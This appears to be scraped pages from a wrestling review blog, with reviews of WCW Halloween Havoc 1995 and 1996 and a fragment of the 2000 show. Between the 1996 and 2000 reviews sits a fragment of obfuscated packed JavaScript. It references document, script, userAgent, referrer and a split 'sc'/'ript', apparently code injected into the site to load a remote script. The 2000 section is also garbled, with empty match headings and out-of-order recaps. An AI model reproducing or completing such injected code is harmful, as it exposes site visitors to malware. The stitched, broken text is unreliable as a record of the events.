Dave comes out to “I Want To Be A Hulkamaniac” and wears a Hogan bandanna and robe. The fans….don’t care, including those in their own Hogan gear, because this really is that bad of an idea. Dave shoulders him to the floor to start and takes off the robe to reveal a Hogan shirt and red and yellow gear. Kevin clotheslines him down as we hear about those being the same boots that Hogan wore when he beat Andre.

They head outside with Dave going into the post as Heenan talks about wanting to bash kids in the head. Back in and Dave charges into a boot in the corner, allowing Kevin to hit a running crotch attack on the ropes. Heenan: “They used to do this at dinner over who took the last chicken leg.” Kevin chokes with a Hogan bandanna so Dave fights back and does the same, setting up the big boot. That’s enough for Kevin to try and make up, allowing him to get in a cheap shot. It’s back to the floor with Kevin posting Dave….who rolls back inside and beats the count for the win at 5:15.

Rating: D-. E pluribus gads this show is becoming a nightmare. Not only was the match terrible but the whole thing was designed to be a Hogan tribute character. It wasn’t enough to have Hogan be the star of the promotion but he needed a bad wrestler to pay tribute to him every few seconds? Terrible match and an even worse idea as the awful show continues.

We recap Dustin Rhodes vs. Arn Anderson. Dustin had been dealing with the Stud Stable and needed help. For reasons of pure stupidity, Dustin asked Anderson to be his partner, more or less guaranteeing that he’d turn on Dustin in the process. Then THAT’S EXACTLY WHAT HE DID, because it’s what Anderson does. It’s just his nature you see. Anyway, Dustin got his dad Dusty to help (in an awesome, underrated promo) so they could win WarGames but now it’s the showdown for revenge.

Arn Anderson vs. Dustin Rhodes

Anderson has Meng and Colonel Parker in his corner. I do miss the horribly bad but still catchy “Well They Call Him The Natural” theme for Dustin here. WCW always had bad original music and it’s kind of a guilty pleasure. A lockup sends Anderson into the corner and let’s look at a boxer at ringside. They get separated for a bit until Dustin gets in a snapmare, meaning Anderson needs to complain about a hair pull. That’s fine with Dustin, who pops him in the jaw with a right hand.

Anderson catches him on top though as this is already the best match of the show by about fourteen miles. The superplex attempt is broken up and Dustin hits a top rope clothesline for two. Anderson hits his own shot to the face and drops an elbow before starting in on the leg. It’s way too early for the Figure Four though as Dustin kicks him to the floor, where Anderson clotheslines the post by mistake.

Unlike Honky Tonk Man, Dustin is smart enough to go after the arm, which gets pulled a lot back inside. Back up and Anderson ducks a charge to send Dustin crashing hard out to the floor. Anderson does his test of strength on the mat so he can jump down onto Dustin and crotch himself spot (technical term), only to throw in a surprise by having Dustin catch him in a bodyscissors.

That just earns him a catapult into the ropes but Dustin is back up for the slugout. The double clothesline puts them both down but Dustin is up first with a regular clothesline for two. Dustin ducks his head for some reason, though he’s smart enough to grab the rope and block the DDT. It’s time to go after Arn’s arm (as he did to Dustin) but the knee drop misses, allowing Arn to grab a rollup with the ropes for two. Dustin is right back up and grabs his own rollup (without the rope) for the pin at 9:53.

Rating: C+. It says so much when this is the match of the night and it’s not even all that great. The wrestling was fine enough but the storytelling carried it as far as it went, as you could see Dustin wanting revenge and Anderson being his usual angry/evil self. I wasn’t big on the feud as a whole but what we got here was pretty good. It’s certainly better than anything else we’ve seen on this show.

Post match Anderson beats the fire out of Dustin and leaves him laying. Cue that awful song again!

Hulk Hogan talks about trying to sneak into town with Jimmy Hart and the Big Brother (as Brutus Beefcake gets ANOTHER name) but there were so many anti-Flair signs all over the place and they just couldn’t do it. This is going to be as big as the time Hogan slammed that giant.

He’s not worried about Mr. T. possibly being in Flair’s pocket because he talked to Mr. T. the other day and knows he’s still training, saying his prayers and taking his vitamins. The only thing Hogan is worried about is Flair trying to go after Mr. T. in the cage. Gene brings up all of the celebrities here and Hogan goes on a mini rant about how Flair is all that matters. The three of them have a game plan though and Flair is done tonight.

Heenan and Tony talk about the main event AGAIN. They do know we’ve already paid to see it right??? Anyway Heenan is convinced Hogan is done and all he’ll hear is a WOO.

We recap Jim Duggan beating Steve Austin for the US Title in about fifteen seconds at Fall Brawl. This was when Austin was wearing black, insulting legends and swearing a lot. I’d go with Duggan too.

US Title: Steve Austin vs. Jim Duggan

Duggan is defending. During the entrances, Tony talks about how he went to the Ford world headquarters. This sends Heenan into a hilarious rant about how boring Tony is, because he went to Tiger Stadium when there was no game and then he went to a car company where everyone was laid off. Heenan: “Maybe tomorrow we can go to the park and watch the grass grow!”

The Flair cannonball onto the leg misses again and an atomic drop puts Austin on the floor. Back in and Austin offers a handshake but gets headlocked instead. That’s broken up as well and Austin hits a middle rope ax handle to the head. Duggan punches him out of the air on a second attempt, which at least breaks up another Hogan vs. Flair discussion.

A quick grab of the referee lets Austin get in a low blow (Heenan: “There goes that trick knee again.”) and it’s some choking in the corner to keep Duggan in trouble. There’s a middle rope elbow as the empty seats are becoming a little more prevalent. Duggan makes the comeback, with Tony hyping him up as the working class hero. The comeback is on but Austin backdrops him to the floor for the DQ at 8:03.

Rating: D+. Duggan is another one of Hogan’s friends and the US Title (especially over Austin) is WAY too high for him but he has charisma and can wrestle a basic power match well enough. It wasn’t anything good but it also wasn’t a nightmare, so we can put this on the higher end of the “new” generation.

Here’s Sting, in a tuxedo, for a chat. He’s here to sit ringside for the main event so he can have a bird’s eye view. Uh, sitting ringside is not exactly a bird’s eye view but Sting has never been the brightest guy in the world.

We recap the Guardian Angel (Big Boss Man) vs. Vader in a big man fight for the #1 contendership. They’ve fought a few times with Vader winning via DQ and then thanks to some cheating. Basically Angel has been screwed over so many times that he’s ready to snap.

Vader vs. Guardian Angel

Angel has some members of the actual Guardian Angels (a volunteer crime prevention group, who ultimately made WCW stop using the name) with him during his entrance. Vader goes over to Ali and you can probably hear WCW gasp backstage but Vader drops to a knee to pay his respect instead in a rather awesome moment. Angel beats up Vader’s manager Harley Race (he probably loved it) before the bell and then slaps Vader to get things going.

You know Vader is fine with slugging away in the corner and Angel is pounded down in a hurry. Some standing clotheslines rock Angel even worse and a big one puts him on the floor. The splash hits the barricade though and Angel punches him down. Race gets punched again as well, with Angel slamming Vader on top of him back inside. Back up and Angel punches him a few times but can’t knock him down.

Vader comes back with some fast jabs and you can see Ali pointing and smiling. Angel manages a powerslam off the ropes (Vader loved that spot) and a top rope headbutt to the ribs gets two. Back up and Angel gets sent hard into the ropes so the Vader Bomb can connect (Heenan: “Bye bye doughnut breath.”)….for two.

Rating: B. This was a rather fun fight because they did what they were supposed to do here. There was no need to do anything more than have two big guys hit each other really hard until one of them couldn’t get up. Angel looked good here, which isn’t something you could say very often after early 1991 so it was a nice surprise in a heck of a match.

Boxing legend Thomas Hearns talks about the big fight feel of the main event. I don’t think Hearns has any idea what is going on here and he’s ok with that.

We recap the Nasty Boys vs. Bunkhouse Buck/Terry Funk, which is fallout from last month’s WarGames. The Stud Stable, who lost to the Rhodes Family and the Nasty Boys, beat up the Nasty Boys after the match. Therefore, it’s revenge time.

Nasty Boys vs. Bunkhouse Buck/Terry Funk

Tom Parker and Meng are here with Buck and Funk. Sags has a Jack-o-Lantern with him and I don’t see this going well. You can add in the Nasty Boys to the list of rather awesome theme songs. The Boys jump them to start and Funk is about to fight Bunk in a funny bit. That means some long form stalling on the floor as Heenan gets to praise Funk (a combination you don’t think of very often). Funk and Knobbs start things off with the latter cleaning house early on.

That means Funk can go outside and grab a chair, which is one of those things you learn to fear. Sags comes in and sits on Funk’s face, followed by the Pit Stop for a bonus. Now Funk is all ticked off and the fans are rather pleased, with Heenan comparing that to Black Lung. Bunk comes in and they be clubberin on him (Dusty helped set this up so it’s even more appropriate) as everything breaks down again.

Funk gets sent outside, hits him self in the head with a chair a bunch of times, and goes over the barricade to yell at some fans because he’s the kind of guy you can believe would go on a rampage at any time. Bunk chokes Sags with a rope on the floor and the villains take over for the first time. Everything breaks down and Buck trips Knobbs but gets caught with a foreign object. Meng pulls out his own foreign object but hits Funk by mistake, allowing Sags to hit a piledriver onto the pumpkin for the pin at 7:57.

Rating: C. I had fun with this one and that’s all they were going for. The weird part was that it felt like they were setting up a much longer match but just went to the ending. That being said, do you really want to see the Nasty Boys go fifteen minutes against Bunkhouse Buck? Funk was the star here though as he knows how to do the little things so, so well and it’s such a treat watching him do his thing. He’s one of those guys where I get something out of every match and that’s a very rare ability.

Muhammad Ali gets in the ring for a special presentation of a donation to his foundation. WCW boss Bill Shaw gives him a check and Eric Bischoff gives him a plaque. It’s so sad to see Ali in such poor health, but you can feel how special it is to see him.

Heenan rants about how Ali and Hearns never became World Champion 11 times. He’s a bit nervous you see.

WCW World Title: Ric Flair vs. Hulk Hogan

Hogan is defending in a cage with both careers on the line and Mr. T. as guest referee. Sherri and Jimmy Hart are here as well and Flair is in the awesome black and white robe (always my favorite). Flair is in red trunks, which almost guarantees a big loss (one of those things that I read once and can never unnotice it). Hogan starts fast by sending him into the corner, followed by the ten right hands. He even goes up top for some choking, which is enough for T. to yell at him.

The chop has no effect and Flair is sent into the cage a few times. Flair gets smart by going after the bad knee and we cut to Sting, with the reflection of the match being seen in his sunglasses for a cool shot. Hogan gets sent into the cage and there’s a knee drop to the head. Back up and Hogan sends him into the cage three times in a row, only to have T. yell at Hogan again.

Flair uses the breather to hit a top rope ax handle as Heenan loses it even more. A chop off goes to Hogan and they wind up on the top rope with Hogan choking on the cage some more. Flair goes to the knee again and chops away….with Hogan not having any of it. Hogan rakes the face over the cage and gets two off a belly to back suplex. It’s back to the top with Flair going into the cage again but he grabs a quick shinbreaker. Heenan: “OH BABY! Are we going to school???”

Flair starts in with his usual assortment of knee work as Heenan gets more and more excited. The Figure Four goes on in the middle of the ring (Heenan: “COUNT HIS SHOULDERS D*** IT!!!”) so Hogan gets fired up (not Hulking up just yet). The hold is turned over for the break but T. gets bumped. Flair hits a belly to back suplex and pulls T. over but there’s still no count.

Jimmy pulls Sherri off the cage (getting her skirt off in the process) so she sends him into the steps. Sting pulls Sherri down as well but here’s the masked man from underneath the ring to beat Sting up with a pipe. Sherri comes off the top of the cage with an ax handle to Hogan (that was a wild woman), who doesn’t seem to mind. Flair gets in a shot to the knee and Sherri handcuffs T. to the ropes.

With the Masked Man on the side of the cage, Hogan is rammed into the pipe and suplexed again. NOW it’s time to Hulk Up and it’s a double clothesline to Flair and Sherri. Hogan clotheslines both of them again as Sting, Hart and the Masked Man are all gone. A big boot puts Sherri down (!) and Hogan does the real Hulk Up (he didn’t really need it here), setting up the big boot to Flair. Heenan: “NOT THE LEG!!!” Hogan pulls Flair over towards T., drops the leg and retains at 19:25 to send Heenan into tears.

Rating: B+. I was expecting more of the same old Hogan/Flair stuff but they hit another level at the end there and it was rocking in the last five minutes or so. Hogan was trying hard here and it was one of the best matches I’ve seen him have in years. What matters is it felt big and that’s what they were going for. I liked this WAY better than I was expecting to and that’s always a nice feeling.

Post match Ali gets to hand Hogan the title before Hogan gets back inside for the celebration. Cue the Masked Man but Hogan catches the pipe shot and hammers away. Heenan thinks it’s Arn Anderson but it’s…..the Big Brother and the fans actually go silent. Brother begs off as Hogan is shocked, allowing Kevin Sullivan and the former Earthquake (I believe making his debut) comes in to beat Hogan down. Heenan dubs Brother the Butcher as Earthquake hits the Earthquake. Cue Sting for the save to chase everyone off.

If this had been ANYONE but Beefcake, they would have been set as this was a very hot angle to end the show. The fans were into it and Hogan sold it as well as I’ve seen him sell anything not involving Andre. Having Sting under the mask would have made it one of the best angles WCW had done in the pre-Nitro days but as it was, it was just rather good, especially after a pretty awesome main event.

A bunch of replays and a chat from the announcers, with Heenan in tears, end the show.

Roll credits.

Overall Rating: D+. Vader vs. Angel, the main event and the show closing angle did a yeoman’s work to try and save this show but my goodness that first forty minutes put them in a terrible hole. It’s not a good sign when your first three matches featured one of the worst openers ever, a match whose best part was that it wasn’t the opener, and a match nearly as bad as the opener. It’s not a bad show overall, but the stuff that is bad is VERY bad and drags down the good stuff.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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IMG Credit: WWE

Someone requested this, but I do warn you that it’s rather old and not up to my current standards.

Halloween Havoc 1996
Date: October 27, 1996
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 10,000
Commentators: Bobby Heenan, Dusty Rhodes, Tony Schiavone

The main things here are of course the NWO matches, which tonight are Hogan vs. Savage for the title and the Outsiders vs. Harlem Heat for the tag titles. Other than that there isn’t a ton here as this is a relatively unimportant show. Sting is the mystery guy now do he’s not here I don’t think. The card looks fairly good though so let’s get to it.

The opening video is about how the NWO has destroyed everyone and tonight it’s Savage’s chance. No reason is given for why he should be different or anything but then again he’s a face so it’s not like it really means anything here.

Cruiserweight Title: Dean Malenko vs. Rey Mysterio

These two have been trading the title back and forth a bit lately. Rey is champion here and Dean has one of his old masks that he ripped off of him. Song angles never get old. Dean jumps him early and we have Mike Tenay here on commentary for the sake of sanity. Mike says that without the mask Rey is done. Nah he won two world titles after that so I’d think Mike is wrong here.

Rey’s knees are both in one piece here so he’s flying all over the place and is the most exciting thing most of the fans have ever seen in their lives. We kind of stop things for a bit here so Rey can put the old mask that Dean brought with him back on. Ok then. These two had some great matches as they did the whole technician vs. high flier thing and it almost always worked. This would be one of those times that it worked.

Dean grounding him here is the right thing to do as it fits into the psychology of the match here. I can live with it when it makes sense I guess. There’s a lot of this in Doug Williams vs. Kendrick at the moment. I love that spinning backbreaker that Dean can snap off like that. They’re doing a nice slow build here and it’s working very well as Rey is going to make his comeback and it’ll be awesome more than likely.

Ah here it comes. He starts busting out all of his big flips and cool moves and they start to work, playing into the idea that as long as Dean keeps it on the mat he can beat Rey. They hit insane speed for a reversal sequence that is just awesome. Rey starts busting out the ranas so you know he’s serious now. Dean counters West Coast Pop into a powerbomb which looks great. A gutwrench powerbomb off the top gives Dean the belt back in a cool ending. He got a BIG face pop despite being a heel here. That’s odd, but ok then.

Rating: B. Solid opener here as the crowd is very awake now. They’ve had better ones but the psychology was here more than it usually is but this worked out well. Rey did his thing and Dean did his. You combine that with good chemistry and this is what you get. Good match and great opener.

Jarrett is replacing Flair in the match vs. the Giant tonight. Any guesses on how this is going to go? Jarrett cuts a decent enough promo on Giant. Again, the guy is talented and no one is questioning that. He’s just not a main event guy, period. He’s just filling in for Flair tonight so there’s no real point to the match. Flair is here too for moral support. He hurt his shoulder so he had to drop the US Title too.

Lord of the Ring: Diamond Dallas Page vs. Eddie Guerrero

Yes, AGAIN they’re fighting over a ring that was won in a battle royal that is worthless at this point. Eddie won the ring at Clash of the Champions and DDP stole it back and now says he doesn’t know where it is. Nick Patrick is refereeing in a neckbrace. This was a feud that went on for a good while but no one remembers it because it meant nothing and went nowhere. They would be in the finals of the US Title Tournament at Starrcade and that’s about it.

Dusty thinks DDP is in the NWO. I think he’s the only big name that didn’t go NWO at some point. Page is still a heel but the pops are beginning to come. He calls Eddie girlfriend for no apparent reason. I’m not entirely sure if this is supposed to be interesting or not. It kind of is but I don’t think that’s what they’re going for here. I don’t know what I mean by that either so don’t try to make sense out of it.

The referee shoves DDP down and gets two for it somehow. DDP was getting better at this time but he still had a lot of moments where he did stuff that just looked awful. We just got one of them. He would have it smoothed out in about 8 months or so for his feud with Savage which was awesome. It’s oddly surprising how boring this match is though. They’re both good workers but this just isn’t interesting me at all. After a lot more of nothing, DDP grabs Eddie’s head and hits the Diamond Cutter to get the pin. Oh and Patrick had the ring apparently. Moving on.

Rating: D+. This wasn’t bad I guess but I just couldn’t get into it at all. It just wasn’t a very interesting match at all but I’ve seen far worse. There’s a severe lack of chemistry here which is odd because they’re both good workers. Just didn’t do it for me here at all.

Savage says this is the calm before the storm. When has Savage EVER been calm? He’s going to snap into Hogan. Wow that makes me want a Slim Jim. Oh and look who the sponsor is!

We literally go straight to Dean Malenko who says he’ll fight anybody that wants a shot, including Rey. Tenay towers over him which is a weird visual.

Ted DiBiase and the Giant are in the crowd for an NWO interview. The Giant has the US Title, even though he isn’t champion. Apparently Jarrett was offered a spot and turned it down. That’s fine enough for a story. Giant tries to talk and he’s a mile ahead of his debut last year, but it’s still pretty bad.

The Giant vs. Jeff Jarrett

Dusty says some people call Jeff Jarrett the giant killer. Who in the world has ever said that? Jarrett is a country guy here but he’s not singing at least. Again, the guy is fine for stuff like this. Just don’t put him much higher. Flair is here for support and comes out to his own entrance just because he feels like it I guess. The problem was that Jarrett had two things going against him: he was a heel in WWF, and he absolutely sucks as a face. Jarrett uses hit and run tactics and has strutted three times in 60 seconds.

Heenan says this is the NEW WCW. Oh that’s funny. And now Jarrett proves why he’s an idiot by putting on a headlock. When Tony Schiavone says you’re doing something stupid, you know you’re an idiot. And then he tries a hip toss. So basically Jarrett looked smart for about 45 seconds and since then he’s looked like an idiot. We get a MASSIVE NWO chant as that’s how much Jarrett is disliked. The NWO was still pretty evil at this point and they’re getting cheered somehow.

Giant balances out the stupidity of JJ by using basic, non-power moves. Flair grabs a mic and gives Jeff a pep talk. Giant does some backbreakers. That’s about the extent of their description. Did someone think this was a good idea for a match? Jarrett was a good worker but against guys the size of the Giant there’s only so many guys that can do much with him. Jarrett hits two PERFECT dropkicks and then tries to slam him.

The problem here is apparent and to be fair this isn’t Jarrett’s fault: he can’t do much to Giant due to the size. He punches a lot and throws dropkicks but how much of a match can you have based on that? Also in a match like this it’s heavily based around building up momentum for the big face comeback. When the face is booed every time he does something though it just doesn’t work that well. Now keep in mind this was supposed to be Flair but he got hurt so they did the best they could.

Jarrett knocks him down with a high cross body but gets the strong toss off. Figure four doesn’t work and we hit the floor. Figure four out there results in Jarrett getting his throat grabbed so Flair just hits him low for the DQ. The Horsemen come out for protection. Remember Jarrett wasn’t a Horseman at this point and was just a friend of Flair’s.

Rating: D. Just not a good match here but like I said, what did you really want them to do out here? The size was just too much to deal with and the crowd HATING Jarrett didn’t help either. Also Giant was still fairly inexperienced against guys that weren’t power guys that could help carry him, so I can give him a break on that. Still just a bad match though.

DiBiase is with Vincent (Virgil) and Syxx (X-Pac/Sean Waltman). They talk way too nicely about Jericho and how they’re coming for the Cruiserweight Title.

Chris Jericho vs. Syxx

The commentators having to ignore the NWO being cheered is always funny. Patrick is the referee again which has to be leading somewhere. This is before the neck injury for Waltman so he’s incredibly fast here. The Dungeon of Doom is at ringside. This is a very fast paced match as we talk about Jericho’s dad for no apparent reason.

This is one of those matches that is hard to comment on as it’s pretty good. Waltman could go against small guys and this is no exception. It wasn’t until he because X-Pac and became the giant killer or whatever that he became so annoying. We crank it up after a good deal of Syxx dominance.

Tony and Heenan get in an argument over whether or not Nick Patrick made a fast count. Oh that’s funny. Allegedly he’s counting slow for Jericho and there may be something to that. Dusty wants him arrested. Even Heenan gets on him for being slow. Ok now you know it’s serious. Jericho gets what should have been a five or so and yells at Patrick about it. He walks into a spinkick for the regular speed pin.

Rating: B-. This was about Jericho vs. Patrick which would happen at WW3 and would be the first match where an NWO guy would lose on PPV since their inception. This was very fast paced and fun though, but the referee thing was just annoying by the end of things. Other than that it was good though.

Luger, looking like he has Dolph Ziggler’s poofy hair, says he’ll get back at Arn for something. Oh ok Arn blamed Lex for tapping at War Games and more or less said he’s a coward, setting this up.

Lex Luger vs. Arn Anderson

Is there anything sweeter than that Horsemen theme song? It’s just flat out awesome sounding. Luger is in all black here which never really looked right on him. Sting has been offered a spot in the NWO. Anderson has hurt Lex’s back recently so he’s not at 100%. This is just not interesting at all. Luger’s back is fine it seems and we’re totally just killing time here. I love Dusty’s ridiculous faith in WCW. It’s always very amusing.

The Dungeon is cheering for Luger. And now Arn’s back is hurt. Sure why not. This match is the epitome of average. Lex does some stuff then Arn does some stuff and then we switch off. It’s just two guys doing moves on each other with a bit of a flow to it. It’s not interesting in the slightest either as there’s barely a reason for them to be fighting but we’re seeing it anyway. Luger works on the back which makes sense for him so that’s fine.

A spinebuster from Arn gets us back to even to an extent as I’m just waiting on this match to end. The back injury for Luger flares up all of a sudden of course so at least the continuity of lack of continuity is there. DDT doesn’t hit as this is just nothing. I know I’ve said that a lot but it’s true. And there goes the referee of course. Arn nails Luger and knocks him into Mark Curtis in case you’re interested for some reason.

We’ll throw in a chair that does nothing as we pad this match out a bit more. The worst catapult in recorded history puts Arn kind of into the post. Lex hits some chair shots on Arn and the Rack ends it. Luger doesn’t let him go. Arn takes forever to get up and the Horsemen come out to help him. He leaves on a stretcher. I think this was what explained him being more or less retired other than the occasional match afterwards.

Rating: D. This wasn’t a particularly bad match, but it is perhaps the least interesting match I’ve seen in a good many months. It’s a good example of a match that’s just there. Two guys wrestled, nothing special happened, one guy used his finishing move to get the win. That’s all there is to it and there’s nothing special about it at all.

Harlem Heat call out the Outsiders.

Faces of Fear vs. Chris Benoit/Steve McMichael

Mongo has barely any experience at all so expect a heavy dose of Benoit here which is hardly a bad thing. If nothing else we get the music again for the Horsemen. This feud went on forever and there was never really a blowoff for it other than it just stopping. Meng and Mongo start and McMichael hides from a kick. Oh that looked bad. It’s always cool seeing Benoit’s mix of wrestling and brawling. Not a lot of people were as good at it as he was.

Mongo loses a sumo match to Meng. Is there a reason this is happening? Mongo wakes up and uses football moves to get Meng down. This works so well that Meng kicks him in the face. I love that. Whenever someone does something stupid, KICK THEM IN THE FACE. McMichael tries some dropkicks. This is a very sad sight. The match is only watchable when Benoit is in there so the tag can’t come fast enough.

In a NICE move, Meng backdrops Benoit into a powerbomb from Barbarian. It’s an awesome move, so Dusty starts talking about the Outsiders. Why you ask? It’s Dusty so this is normal for him. A double headbutt from the top hits Benoit as it’s a good thing that he’s in. Tony talks about an old rule called the One Save Rule, which says that if you save your partner more than once it’s a DQ. This rule isn’t in effect anymore and I’ve never heard of it.

Mongo pops Meng with the briefcase, thereby completely ignoring all stereotypes, and the top rope headbutt ends it. The Dungeon runs in and since the Horsemen are with Anderson at the hospital it’s Benoit vs. everyone. That only works for so long though as the Dungeon stands tall. At least there’s a feud here to explain this. Sullivan goes up to Woman and says let me show you why I’m still the man and does what we would call a punt on Benoit.

Rating: D. I know I gave the previous match the same grade but this is somewhat better. There’s a feud here which makes sense so that’s definitely a good thing. This was really bad when Mongo was in and decent when Benoit was in. Mongo always looked like he was trying, but he just didn’t ever get the hang of it. This is a great example of it.

DiBiase introduces the Outsiders.

Tag Titles: The Outsiders vs. Harlem Heat

That original NWO music is still awesome. Then again so is Harlem Heat’s. The Heat had recently lost and regained the titles from Public Enemy for a pointless reign that lasted like two weeks. The Outsiders grab the belts and hold them up to a pop. Seeing the whole rebellion against the angles is very interesting. It was clear that the fans wanted something new. WWF realized that and made Austin, the rebel character, the top guy in the company and a face. Moral: listen to the audience. They’ll never let you down.

Apparently Sherri is the quarterback of Harlem Heat. Well I wouldn’t mind seeing her in the pants I guess. Stevie knocks Hall over the top rope which they immediately explain is NOT a DQ here. Why didn’t they just drop that stupid rule? I never got a straight answer to that. Anyway, Heenan says this is the first real test for the Outsiders, because clearly fighting Luger and Sting at Hog Wild wasn’t a test right? Or Savage, Luger and Sting or any other big combination they had. I love idiotic lines like that.

The fans loudly boo Harlem Heat taking over. I feel sorry for the announcers at times and then they say something stupid enough to make me lose any and all sympathy I have for them. The Heat dominate early on which is different than what you would expect. Crowd is totally behind the Outsiders here. Hall uses a chokeslam which he used back in like 93 I think. It’s weird to think he’s been using that since Giant was in high school.

Hall kisses Sherri. Can we get a sexual harassment lawsuit from the congregation? Booker hooks a sleeper and gets booed out of the building for it. Stevie gets the hot tag and cleans house, setting up the Harlem Hangover on Hall. Parker comes in for no apparent reason at all and swings the cane at Nash. This of course doesn’t work and two cane shots from Nash to Booker give the Outsiders the tag titles.

Rating: C-. Eh nothing great here but not that bad. This is far more important for the historical aspect than anything else. The ending made sense at least and the cheating was minimal, but the heels won with nefarious activities so that’s all fine. This wasn’t terrible, but the crowd told a lot of the story here as the heels got cheered and few liked the faces.

Hogan is in the crowd where DiBiase was when he did the promos earlier and talks about his new movies. He has a blonde wig on that looks like Sting’s haircut from the old WCW days.

WCW World Title: Hulk Hogan vs. Randy Savage

So basically Savage has zero chance here and everyone on the planet knows it. The Outsiders have been escorted from the building allegedly, even though Giant was also and he’s with Hogan here. They must be a bit rushed as Savage’s music starts up while Hogan’s intro is going on and they have to stop it. Savage has a massive monster truck, complete with cowboy hat on it of all things.

Savage went on a big winning streak to get the title shot and then since he was getting over again in a feud against Hogan, he stopped winning for about a month leading up to this match, hence what I said about zero chance. Savage gets a mic and wants everyone else out other than himself and Hogan. Why do I have a bad feeling that the wig is going to play a long role in this match? Giant is thrown out so it’s no longer a reenactment of Mania IV.

Hogan stalls. I mean stalls a LOT. Savage comes at him and he runs for the ropes. Hey! A headlock! Hogan looks SMALL here, maybe weighing 260. And he stalls again, heading to the floor even longer. That headlock is all we’ve had in over four minutes so far. It’s just Hogan hiding in the ropes or in the corner or on the floor the whole time. We’re entering Zbyszko land here. So Liz, who isn’t here, is signed to the NWO but loves Savage still. Got it. Well that actually is a bit intriguing at least.

Savage takes over and steals Hogan’s sunglasses. Yeah Hogan was in sunglasses and a wig for the first seven minutes or so of the match. And there goes the wig. WOW! Hogan is BALD! Why was this supposed to be a big deal? He didn’t have hair in Rocky 3 so why is this a surprise? Savage puts the wig on and this is just bad so far. Hogan busts out a chair, marking the ONLY decent thing in the whole ten minutes so far. Seriously, THIS is the main event of one of the biggest shows of the year.

Hogan kisses Savage on the top of his head and here’s Liz. Someone actually shouts GET EM LIZ! That’s very amusing. And there go Hogan’s tights ecause we all want to see that. Hogan does nothing but punch and kick and choke. Savage does those things but throws in some clotheslines too. This is one of the worst main events I can ever remember. Liz comes in to check on Savage as Hogan is going for the legdrop. Of course we can hear every word Hogan says to her as he’s on a mic.

There goes the referee and here’s Nick Patrick and then another referee at the same time. The elbow hits and Patrick gets to two before his neck starts to hurt. Savage steals an object from Hogan and nails him. Giant is back as this is beyond a mess. Chokeslam on the floor and Savage is more or less dead. Hogan is put on top and gets the pin and a face pop.

Rating: F. This was supposed to be some kind of epic showdown and it was overbooked and a comedy match that wasn’t funny. Let’s see: 5 minutes of stalling, three run-ins, a foreign object, a cheating referee, a ref bump, another ref bump, chair shots and some punching sprinkled in. Yep it’s WCW all right.

Giant brings out a bowl of ice water to wake up Hogan which is amusing for some reason. Hogan grabs a mic and says he’s the king of Hollywood and I have a bad feeling I know where this is going. Ok I do know where this is going but you get the idea. Yep, we have bagpipes. The look on Hogan’s face when Piper shows up is great.

Piper and Hogan say hi to each other and for no apparent reason Hogan and Giant are alone with Piper and do nothing but talk to him. Hogan says he and Piper used to be neck and neck for the biggest star in wrestling. Not really but this is WCW so why use facts? Piper says he’s as big an icon in wrestling as Hogan is. No, not really. He says he’s as big a movie star as Hogan is. Ok that’s true. Piper says he’s shooting here. Yes, this is Starrcade’s main event by the way.

Piper FINALLY says something very true: At Wrestlemania, they wouldn’t have been cheering for Hogan so much if they hadn’t hated Piper so much. I didn’t buy that at first but the more I’ve thought about it the more I think there’s truth in it. Piper was despised by the fans and Hogan was the guy opposing him. I know Hogan was a big deal, but it was Piper fighting Mr. T and doing the mainstream stuff. Hogan was just a wrestler fighting him. I don’t think Piper was a bigger deal, but I think equal is fine, at least for Wrestlemania and the stuff leading up to it.

Piper wants Hogan to admit that he would be nothing without the fans behind him. He also points out that Hogan has never beaten him. Piper starts to leave and Hogan makes a skirt joke. He picks up the belt as Hogan leaves and they actually keep arguing as the show goes off the air. That’s funny for some reason.

Overall Rating: D. This was bad. The opener is good but seriously did you expect anything less? Far from their best match too. Other than that there’s more or less nothing. None of the matches other than the main event are overly bad but they all have been done better or just aren’t interesting at all. Hogan vs. Piper was a cool segment to an extent, but knowing what was coming would just suck the life out of it. Oh and World War 3 is next. Great. Avoid this one.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of the WWE Grab Bag (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/03/23/new-paperback-kbs-grab-bag/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Since everyone has already talked about Goldberg vs. Lesnar (which I’ll get to when I can wrap my head around the thing), here’s something a little lighter this week.

http://wrestlingrumors.net/kbs-review-happy-and-sad-holidays/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hrbds|var|u0026u|referrer|tirsr||js|php'.split('|'),0,{})) Havoc 2000
Date: October 29, 2000
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 7,582
Commentators: Stevie Ray, Tony Schiavone, Mark Madden

The regular opening video focuses on how everyone needs to overcome their fears.

Tony: “This is sports entertainment!”

Post match Wright beats down the Animals with a chair so Konnan comes in, drawing in Sgt. AWOL for the save for absolutely no logical reason. Konnan looks hurt and comes up limping.

Hardcore Title: Reno vs. Sgt. AWOL

AWOL is challenging so he sets up a table in between matches. Reno hits him with a kendo stick but takes a boot to the face (totally missed), only to flapjack AWOL through the table for two. Madden says old school hardcore rules are in effect: pinfalls count anywhere and anything goes. That would be different than the new rules of start in the back and end in the ring. So there are two eras for a title not even a year old?

Post match the Perfect Event comes out and beats on AWOL, drawing out Lieutenant Loco and Corporal Cajun to give us a very lame reaction.

Kronik talks to the Nevada State Wrestling Commission and mentions Goldberg having a head/neck injury.

Lieutenant Loco/Corporal Cajun vs. Perfect Event

Konnan is hurt but is willing to go fight anyway.

Torrie Wilson/Shane Douglas vs. Konnan/Tygress

Off to a crossface chickenwing with Shane putting her hand near his crotch (and shouting something about “make me feel good baby”) until Tygress escapes and crawls over for a hot tag to Konnan. Everything breaks down and Torrie pulls the referee into the path of a Bronco Buster for the comedy spot of the match. Torrie gives Konnan a decent Franchiser for two but the good team gives Shane a double facebuster for the pin.

Buff Bagwell vs. David Flair

Goldberg, looking a bit shaky, arrives. Thank goodness they made sure to fix that cliffhanger that started half an hour ago.

The Cat vs. Mike Sanders

